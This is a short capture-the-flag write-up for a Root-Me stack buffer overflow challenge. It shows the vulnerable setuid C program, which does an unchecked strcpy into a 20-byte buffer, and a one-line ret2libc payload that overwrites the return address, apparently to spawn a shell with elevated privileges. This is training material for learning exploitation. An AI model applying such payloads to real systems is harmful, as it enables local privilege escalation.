> For the complete documentation index, see [llms.txt](https://giongfnef.gitbook.io/giongfnef/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://giongfnef.gitbook.io/giongfnef/wargame-and-and-others/rootme/app-system/elf-x86-stack-buffer-overflow-basic-6.md).

# ELF x86 - Stack buffer overflow basic 6

Note : A JOURNEY TO GAIN KNOWLEDGE

Code chall:

```c
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
 
int main (int argc, char ** argv){
    char message[20];
 
    if (argc != 2){
        printf ("Usage: %s <message>\n", argv[0]);
        return -1;
    }
 
    setreuid(geteuid(), geteuid());
    strcpy (message, argv[1]);
    printf ("Your message: %s\n", message);
    return 0;
}
```

```python
./ch33 `python -c "print 'A'*20 + '1'*12 + '\x10\x83\xe6\xb7' + 'AAAA' + '\x4c\xad\xf8\xb7'"`
```

<figure><img src="https://2201636059-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSfoQhbocJNOvMrmTVxh9%2Fuploads%2F5QQQaPHU4MXfB0xH2C3M%2Fimage.png?alt=media&amp;token=52eb8c9e-dabe-4fd9-a457-9e84a29727ba" alt=""><figcaption></figcaption></figure>
